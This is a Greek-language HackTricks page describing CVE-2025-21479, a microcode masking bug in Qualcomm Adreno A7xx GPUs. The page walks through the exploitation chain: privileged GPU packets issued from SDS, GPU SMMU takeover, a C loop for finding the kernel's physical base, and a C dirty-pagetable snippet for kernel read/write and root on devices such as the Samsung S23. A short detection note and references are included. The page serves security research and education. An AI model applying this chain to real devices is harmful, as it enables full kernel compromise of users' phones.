Adreno A7xx SDS->RB privilege bypass (GPU SMMU takeover to Kernel R/W)

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Αυτή η σελίδα αφαιρεί σε αφηρημένο επίπεδο ένα πραγματικό σφάλμα λογικής microcode στο Adreno A7xx (CVE-2025-21479) σε αναπαραγώγιμες τεχνικές εκμετάλλευσης: κατάχρηση του IB-level masking στο Set Draw State (SDS) για εκτέλεση privileged GPU packets από μια μη-privileged εφαρμογή, pivot σε GPU SMMU takeover και στη συνέχεια σε γρήγορο, σταθερό kernel R/W μέσω του dirty-pagetable trick.

  • Affected: Qualcomm Adreno A7xx GPU firmware prior to a microcode fix that changed masking of register $12 from 0x3 to 0x7.
  • Primitive: Execute privileged CP packets (e.g., CP_SMMU_TABLE_UPDATE) from SDS, which is user-controlled.
  • Outcome: Arbitrary physical/virtual kernel memory R/W, SELinux disable, root.
  • Prereq: Ability to create a KGSL GPU context and submit command buffers that enter SDS (normal app capability).

Background: IB levels, SDS and the $12 mask

  • The kernel maintains a ringbuffer (RB=IB0). Userspace submits IB1 via CP_INDIRECT_BUFFER, chaining to IB2/IB3.
  • SDS is a special command stream entered via CP_SET_DRAW_STATE:
  • A6xx: SDS is treated as IB3
  • A7xx: SDS moved to IB4
  • Microcode tracks the current IB level in register $12 and gates privileged packets so they are only accepted when the effective level corresponds to IB0 (kernel RB).
  • Bug: A7xx microcode kept masking $12 with 0x3 (2 bits) instead of 0x7 (3 bits). Since IB4 & 0x3 == 0, SDS was misidentified as IB0, allowing privileged packets from user-controlled SDS.

Why it matters:

A6XX                | A7XX
RB  & 3       == 0  |  RB  & 3       == 0
IB1 & 3       == 1  |  IB1 & 3       == 1
IB2 & 3       == 2  |  IB2 & 3       == 2
IB3 (SDS) & 3 == 3  |  IB3 & 3       == 3
|  IB4 (SDS) & 3 == 0   <-- misread as IB0 if mask is 0x3

Παράδειγμα diff microcode (το patch άλλαξε το mask σε 0x7):

@@ CP_SMMU_TABLE_UPDATE
- and $02, $12, 0x3
+ and $02, $12, 0x7
@@ CP_FIXED_STRIDE_DRAW_TABLE
- and $02, $12, 0x3
+ and $02, $12, 0x7

Επισκόπηση εκμετάλλευσης

Στόχος: Από το SDS (παρανοήθηκε ως IB0) να εκδίδονται προνομιούχα CP πακέτα για να επανακαθοριστεί το GPU SMMU σε page tables που έχει δημιουργήσει ο επιτιθέμενος, και στη συνέχεια να χρησιμοποιηθούν GPU copy/write πακέτα για αυθαίρετο φυσικό R/W. Τέλος, pivot σε γρήγορο CPU-side R/W μέσω dirty pagetable.

Υψηλού επιπέδου αλυσίδα

  • Κατασκευάστε έναν ψεύτικο GPU pagetable στη shared memory
  • Μπείτε στο SDS και εκτελέστε:
    • CP_SMMU_TABLE_UPDATE -> μεταβείτε στον ψεύτικο pagetable
    • CP_MEM_WRITE / CP_MEM_TO_MEM -> υλοποίηση primitives εγγραφής/ανάγνωσης
    • CP_SET_DRAW_STATE με run-now flags (dispatch immediately)

GPU R/W primitives μέσω fake pagetable

  • Write: CP_MEM_WRITE σε έναν GPU VA επιλεγμένο από τον επιτιθέμενο των οποίων τα PTEs αντιστοιχίζετε σε ένα επιλεγμένο PA -> αυθαίρετη φυσική εγγραφή
  • Read: CP_MEM_TO_MEM αντιγράφει 4/8 bytes από το target PA σε έναν userspace-shared buffer (batch για μεγαλύτερες αναγνώσεις)

Σημειώσεις

  • Κάθε Android process λαμβάνει ένα KGSL context (IOCTL_KGSL_GPU_CONTEXT_CREATE). Η εναλλαγή contexts συνήθως ενημερώνει τους SMMU πίνακες στο RB· το bug σας επιτρέπει να το κάνετε στο SDS.
  • Υπερβολική GPU κίνηση μπορεί να προκαλέσει UI blackouts και reboots· οι αναγνώσεις είναι μικρές (4/8B) και ο sync είναι αργός από προεπιλογή.

Κατασκευή της ακολουθίας εντολών SDS

  • Διασκορπίστε έναν ψεύτικο GPU pagetable στη shared memory έτσι ώστε τουλάχιστον μία παρουσία να βρεθεί σε μια γνωστή physical address (π.χ. μέσω allocator grooming και επανάληψης).
  • Κατασκευάστε ένα SDS buffer που περιέχει, με τη σειρά:
  1. CP_SMMU_TABLE_UPDATE στη φυσική διεύθυνση του ψεύτικου pagetable
  2. Ένα ή περισσότερα CP_MEM_WRITE και/ή CP_MEM_TO_MEM πακέτα για να υλοποιηθεί R/W χρησιμοποιώντας τις νέες μεταφράσεις σας
  3. CP_SET_DRAW_STATE με flags για run-now

Η ακριβής κωδικοποίηση πακέτων ποικίλει ανά firmware· χρησιμοποιήστε τα freedreno’s afuc/packet docs για να συναρμολογήσετε τις λέξεις, και βεβαιωθείτε ότι η διαδρομή υποβολής SDS λαμβάνεται από τον driver.

Εύρεση Samsung kernel physbase υπό physical KASLR

Η Samsung τυχαιοποιεί το φυσικό base του kernel μέσα σε μια γνωστή περιοχή σε συσκευές Snapdragon. Κάντε brute-force της αναμενόμενης περιοχής και αναζητήστε τα πρώτα 16 bytes του _stext.

Ενδεικτικός βρόχος

while (!ctx->kernel.pbase) {
offset += 0x8000;
uint64_t d1 = kernel_physread_u64(ctx, base + offset);
if (d1 != 0xd10203ffd503233f) continue;   // first 8 bytes of _stext
uint64_t d2 = kernel_physread_u64(ctx, base + offset + 8);
if (d2 == 0x910083fda9027bfd) {           // second 8 bytes of _stext
ctx->kernel.pbase = base + offset - 0x10000;
break;
}
}

Μόλις το physbase είναι γνωστό, υπολόγισε το kernel virtual με το γραμμικό χάρτη:

_stext = 0xffffffc008000000 + (Kernel Code & ~0xa8000000)

Σταθεροποίηση σε γρήγορο και αξιόπιστο CPU-side kernel R/W (dirty pagetable)

GPU R/W είναι αργή και με μικρή λεπτομέρεια. Pivot σε ένα γρήγορο/σταθερό primitive καταστρέφοντας τα δικά σου process PTEs (“dirty pagetable”):

Steps

  • Εντόπισε το current task_struct -> mm_struct -> mm_struct->pgd χρησιμοποιώντας τα αργά GPU R/W primitives
  • mmap δύο γειτονικές userspace σελίδες A και B (π.χ., στο 0x1000)
  • Διάσχισε PGD->PMD->PTE για να επιλύσεις τις φυσικές διευθύνσεις των PTE των A/B (βοηθήματα: get_pgd_offset, get_pmd_offset, get_pte_offset)
  • Αντικατάστησε το PTE του B ώστε να δείχνει στο last-level pagetable που διαχειρίζεται τα A/B με RW attributes (phys_to_readwrite_pte)
  • Γράψε μέσω του VA του B για να τροποποιήσεις το PTE του A ώστε να χαρτογραφήσει τα target PFNs· διάβασε/γράψε kernel memory μέσω του VA του A, ξεπλύνωντας την TLB μέχρι να αλλάξει ένα sentinel
Παράδειγμα dirty-pagetable pivot snippet ```c uint64_t *map = mmap((void*)0x1000, PAGE_SIZE*2, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0); uint64_t *page_map = (void*)((uint64_t)map + PAGE_SIZE); page_map[0] = 0x4242424242424242;

uint64_t tsk = get_curr_task_struct(ctx); uint64_t mm = kernel_vread_u64(ctx, tsk + OFFSETOF_TASK_STRUCT_MM); uint64_t mm_pgd = kernel_vread_u64(ctx, mm + OFFSETOF_MM_PGD);

uint64_t pgd_off = get_pgd_offset((uint64_t)map); uint64_t phys_pmd = kernel_vread_u64(ctx, mm_pgd + pgd_off) & ~((1<<12)-1); uint64_t pmd_off = get_pmd_offset((uint64_t)map); uint64_t phys_pte = kernel_pread_u64(ctx, phys_pmd + pmd_off) & ~((1<<12)-1); uint64_t pte_off = get_pte_offset((uint64_t)map); uint64_t pte_addr = phys_pte + pte_off; uint64_t new_pte = phys_to_readwrite_pte(pte_addr); kernel_write_u64(ctx, pte_addr + 8, new_pte, false); while (page_map[0] == 0x4242424242424242) flush_tlb();

</details>

## Ανίχνευση

- Τηλεμετρία: ειδοποίηση αν CP_SMMU_TABLE_UPDATE (or similar privileged opcodes) εμφανίζεται εκτός RB/IB0, ειδικά σε SDS· παρακολουθήστε ανώμαλες εξάρσεις 4/8-byte CP_MEM_TO_MEM και υπερβολικά μοτίβα TLB flush

## Επιπτώσεις

Μια τοπική εφαρμογή με πρόσβαση στο GPU μπορεί να εκτελέσει privileged GPU packets, hijack the GPU SMMU, να επιτύχει arbitrary kernel physical/virtual R/W, να απενεργοποιήσει το SELinux και να αποκτήσει root σε επηρεαζόμενες συσκευές Snapdragon A7xx (π.χ., Samsung S23). Severity: High (kernel compromise).

### Δείτε επίσης

<a class="content_ref" href="pixel-bigwave-bigo-job-timeout-uaf-kernel-write.md"><span class="content_ref_label">Pixel Bigwave Bigo Job Timeout Uaf Kernel Write</span></a>

## Αναφορές

- [CVE-2025-21479: Adreno A7xx SDS->RB privilege bypass to kernel R/W (Samsung S23)](https://xploitbengineer.github.io/CVE-2025-21479)
- [Mesa freedreno afuc disassembler README (microcode + packets)](https://gitlab.freedesktop.org/mesa/mesa/-/blob/c0f56fc64cad946d5c4fda509ef3056994c183d9/src/freedreno/afuc/README.rst)
- [Google Project Zero: Attacking Qualcomm Adreno GPU (SMMU takeover via CP packets)](https://googleprojectzero.blogspot.com/2020/09/attacking-qualcomm-adreno-gpu.html)
- [Dirty pagetable (archive)](https://web.archive.org/web/20240425043203/https://yanglingxi1993.github.io/dirty_pagetable/dirty_pagetable.html)

> [!TIP]
> Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Μάθετε & εξασκηθείτε στο Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Υποστηρίξτε το HackTricks</summary>
>
> - Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
> - **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>